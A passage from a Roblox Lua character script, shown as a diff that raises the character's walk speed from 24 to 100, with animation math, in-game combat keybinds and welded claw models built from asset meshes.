738 | LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8) | |
739 | LW.C1=cf(0, 0.5, 0) | |
740 | LW.Part1=ch["Left Arm"] | |
741 | LW.Parent=ch.Torso | |
742 | ||
743 | ||
744 | function part(formfactor,parent,reflectance,transparency,brickcolor,name,size) | |
745 | local fp=it("Part") | |
746 | fp.formFactor=formfactor | |
747 | fp.Parent=parent | |
748 | fp.Reflectance=reflectance | |
749 | fp.Transparency=transparency | |
750 | fp.CanCollide=false | |
751 | fp.Locked=true | |
752 | fp.BrickColor=brickcolor | |
753 | fp.Name=name | |
754 | fp.Size=size | |
755 | fp.Position=Torso.Position | |
756 | NoOutline(fp) | |
757 | fp.Material="Neon" | |
758 | fp:BreakJoints() | |
759 | return fp | |
760 | end | |
761 | ||
762 | ||
763 | local Color1=BrickColor.new("Dark indigo") | |
764 | ||
765 | local bodvel=Instance.new("BodyVelocity") | |
766 | local bg=Instance.new("BodyGyro") | |
767 | ||
768 | function swait(num) | |
769 | if num==0 or num==nil then | |
770 | game:service'RunService'.Stepped:wait(0) | |
771 | else | |
772 | for i=0,num do | |
773 | game:service'RunService'.Stepped:wait(0) | |
774 | end | |
775 | end | |
776 | end | |
777 | ||
778 | ||
779 | so = function(id,par,vol,pit) | |
780 | coroutine.resume(coroutine.create(function() | |
781 | local sou = Instance.new("Sound",par or workspace) | |
782 | sou.Volume=vol | |
783 | sou.Pitch=pit or 1 | |
784 | sou.SoundId=id | |
785 | swait() | |
786 | sou:play() | |
787 | game:GetService("Debris"):AddItem(sou,6) | |
788 | end)) | |
789 | end | |
790 | ||
791 | function clerp(a,b,t) | |
792 | local qa = {QuaternionFromCFrame(a)} | |
793 | local qb = {QuaternionFromCFrame(b)} | |
794 | local ax, ay, az = a.x, a.y, a.z | |
795 | local bx, by, bz = b.x, b.y, b.z | |
796 | local _t = 1-t | |
797 | return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t)) | |
798 | end | |
799 | ||
800 | function QuaternionFromCFrame(cf) | |
801 | local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() | |
802 | local trace = m00 + m11 + m22 | |
803 | if trace > 0 then | |
804 | local s = math.sqrt(1 + trace) | |
805 | local recip = 0.5/s | |
806 | return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5 | |
807 | else | |
808 | local i = 0 | |
809 | if m11 > m00 then | |
810 | i = 1 | |
811 | end | |
812 | if m22 > (i == 0 and m00 or m11) then | |
813 | i = 2 | |
814 | end | |
815 | if i == 0 then | |
816 | local s = math.sqrt(m00-m11-m22+1) | |
817 | local recip = 0.5/s | |
818 | return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip | |
819 | elseif i == 1 then | |
820 | local s = math.sqrt(m11-m22-m00+1) | |
821 | local recip = 0.5/s | |
822 | return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip | |
823 | elseif i == 2 then | |
824 | local s = math.sqrt(m22-m00-m11+1) | |
825 | local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip | |
826 | end | |
827 | end | |
828 | end | |
829 | ||
830 | function QuaternionToCFrame(px, py, pz, x, y, z, w) | |
831 | local xs, ys, zs = x + x, y + y, z + z | |
832 | local wx, wy, wz = w*xs, w*ys, w*zs | |
833 | local xx = x*xs | |
834 | local xy = x*ys | |
835 | local xz = x*zs | |
836 | local yy = y*ys | |
837 | local yz = y*zs | |
838 | local zz = z*zs | |
839 | return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy)) | |
840 | end | |
841 | ||
842 | function QuaternionSlerp(a, b, t) | |
843 | local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4] | |
844 | local startInterp, finishInterp; | |
845 | if cosTheta >= 0.0001 then | |
846 | if (1 - cosTheta) > 0.0001 then | |
847 | local theta = math.acos(cosTheta) | |
848 | local invSinTheta = 1/math.sin(theta) | |
849 | startInterp = math.sin((1-t)*theta)*invSinTheta | |
850 | finishInterp = math.sin(t*theta)*invSinTheta | |
851 | else | |
852 | startInterp = 1-t | |
853 | finishInterp = t | |
854 | end | |
855 | else | |
856 | if (1+cosTheta) > 0.0001 then | |
857 | local theta = math.acos(-cosTheta) | |
858 | local invSinTheta = 1/math.sin(theta) | |
859 | startInterp = math.sin((t-1)*theta)*invSinTheta | |
860 | finishInterp = math.sin(t*theta)*invSinTheta | |
861 | else | |
862 | startInterp = t-1 | |
863 | finishInterp = t | |
864 | end | |
865 | end | |
866 | return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp | |
867 | end | |
868 | ||
869 | function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants | |
870 | return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore) | |
871 | end | |
872 | ||
873 | function SkullEffect(brickcolor,cframe,x1,y1,z1,delay) | |
874 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
875 | prt.Anchored=true | |
876 | prt.CFrame=cframe | |
877 | local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1)) | |
878 | --http://www.roblox.com/asset/?id=4770560 | |
879 | game:GetService("Debris"):AddItem(prt,2) | |
880 | CF=prt.CFrame | |
881 | coroutine.resume(coroutine.create(function(Part,Mesh,TehCF) | |
882 | for i=0,1,0.2 do | |
883 | wait() | |
884 | Part.CFrame=CF*cf(0,0,-0.4) | |
885 | end | |
886 | for i=0,1,delay do | |
887 | wait() | |
888 | --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5) | |
889 | Mesh.Scale=Mesh.Scale | |
890 | end | |
891 | for i=0,1,0.1 do | |
892 | wait() | |
893 | Part.Transparency=i | |
894 | end | |
895 | Part.Parent=nil | |
896 | end),prt,msh,CF) | |
897 | end | |
898 | ||
899 | Humanoid.Animator:Destroy() | |
900 | Character.Animate:Destroy() | |
901 | ||
902 | local Footsteps = it("Sound",Character.Torso) | |
903 | Footsteps.SoundId = "rbxassetid://142665235" | |
904 | Footsteps.Looped = true | |
905 | Footsteps.Pitch = 0.8 | |
906 | Footsteps.Volume = 0.3 | |
907 | ||
908 | local Footsteps2 = it("Sound",Character.Torso) | |
909 | Footsteps2.SoundId = "rbxassetid://142665235" | |
910 | Footsteps2.Looped = true | |
911 | Footsteps2.Pitch = 1 | |
912 | Footsteps2.Volume = 0.4 | |
913 | ||
914 | local cam = game.Workspace.CurrentCamera | |
915 | ||
916 | --cam.CameraSubject = Character | |
917 | ||
918 | for i,v in pairs(Head:children()) do | |
919 | if v:IsA("Sound") then | |
920 | v:Destroy() | |
921 | end | |
922 | end | |
923 | ||
924 | function BASEBALLBAT() | |
925 | attack=true | |
926 | ||
927 | coroutine.wrap(function() | |
928 | for i = 1,10 do | |
929 | wait() | |
930 | end end)() | |
931 | con1=sholpad.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
932 | for i=0,1,0.08 do | |
933 | swait() | |
934 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-20)),.3) | |
935 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3) | |
936 | RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*angles(math.rad(75),math.rad(0),math.rad(15)),.5) | |
937 | LW.C0=clerp(RW.C0,cf(-1.5,0.5,-1.5)*angles(math.rad(75),math.rad(0),math.rad(-230)),.5) | |
938 | end | |
939 | so("rbxassetid://280667448",sholpad,10,0.75) | |
940 | for i=0,1,0.1 do | |
941 | swait() | |
942 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(-20)),.3) | |
943 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3) | |
944 | RW.C0=clerp(RW.C0,cf(0.5,0.5,-0.5)*angles(math.rad(75),math.rad(0),math.rad(-50)),.5) | |
945 | LW.C0=clerp(RW.C0,cf(-3.5,0.5,-1)*angles(math.rad(75),math.rad(0),math.rad(-250)),.5) | |
946 | end | |
947 | --dmgstop() | |
948 | attack=false | |
949 | con1:disconnect() | |
950 | end | |
951 | ||
952 | mouse.Button1Down:connect(function() | |
953 | if attack==false then | |
954 | BASEBALLBAT() | |
955 | end | |
956 | end) | |
957 | ||
958 | mouse.KeyDown:connect(function(k) | |
959 | k=k:lower() | |
960 | if k=='e' then | |
961 | if attack==false and mana>=20 then | |
962 | Push() | |
963 | end | |
964 | elseif k=='q' then | |
965 | if attack==false then | |
966 | idle=1000 | |
967 | end | |
968 | elseif k=='h' then | |
969 | if attack==false then | |
970 | mana=100 | |
971 | end | |
972 | elseif k=='0' then | |
973 | if attack==false then | |
974 | - | Humanoid.WalkSpeed=(24) |
974 | + | Humanoid.WalkSpeed=(100) |
975 | end | |
976 | elseif k=='j' then | |
977 | if attack==false then | |
978 | Humanoid.Health = 10 | |
979 | print("Congrats, you commited suicide.") | |
980 | end | |
981 | end | |
982 | end) | |
983 | ||
984 | mouse.KeyDown:connect(function(k) | |
985 | if k == "z" and Ultramode == false then | |
986 | if attack==false then | |
987 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
988 | attack = true | |
989 | for i = 1, 15 do | |
990 | swait() | |
991 | Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3) | |
992 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35) | |
993 | RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35) | |
994 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
995 | LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35) | |
996 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
997 | RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35) | |
998 | LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35) | |
999 | end | |
1000 | m:Destroy() | |
1001 | local m = Instance.new("Model", Character) | |
1002 | m.Name = "WeaponModel" | |
1003 | local parta = Instance.new("Part",Character) | |
1004 | parta.Size = vt(10,10,10) | |
1005 | parta.BrickColor = BrickColor.new("Really black") | |
1006 | parta.Material = "Neon" | |
1007 | parta.Shape = "Ball" | |
1008 | parta.Transparency = 0 | |
1009 | parta.Anchored = true | |
1010 | parta.CanCollide = false | |
1011 | parta.CFrame = tors.CFrame | |
1012 | Transform() | |
1013 | parta:Destroy() | |
1014 | ||
1015 | local modelzorzz=Instance.new("Model") | |
1016 | modelzorzz.Parent=Character | |
1017 | modelzorzz.Name="Claw1" | |
1018 | ||
1019 | Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3)) | |
1020 | Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963)) | |
1021 | mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
1022 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1023 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906)) | |
1024 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
1025 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862)) | |
1026 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
1027 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1028 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996)) | |
1029 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1030 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459)) | |
1031 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1032 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592)) | |
1033 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1034 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537)) | |
1035 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1036 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266)) | |
1037 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1038 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906)) | |
1039 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1040 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265)) | |
1041 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1042 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829)) | |
1043 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
1044 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562)) | |
1045 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
1046 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1047 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682)) | |
1048 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
1049 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805)) | |
1050 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
1051 | Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
1052 | Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086)) | |
1053 | mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
1054 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
1055 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474)) | |
1056 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
1057 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
1058 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891)) | |
1059 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
1060 | ||
1061 | local modelzorzz2=Instance.new("Model") | |
1062 | modelzorzz2.Parent=Character | |
1063 | modelzorzz2.Name="Claw2" | |
1064 | ||
1065 | Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3)) | |
1066 | Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559)) | |
1067 | mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
1068 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1069 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183)) | |
1070 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1071 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009)) | |
1072 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1073 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139)) | |
1074 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
1075 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765)) | |
1076 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
1077 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
1078 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858)) | |
1079 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
1080 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1081 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958)) | |
1082 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
1083 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964)) | |
1084 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
1085 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1086 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885)) | |
1087 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
1088 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137)) | |
1089 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
1090 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1091 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696)) | |
1092 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
1093 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073)) | |
1094 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
1095 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1096 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183)) | |
1097 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1098 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377)) | |
1099 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1100 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329)) | |
1101 | Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
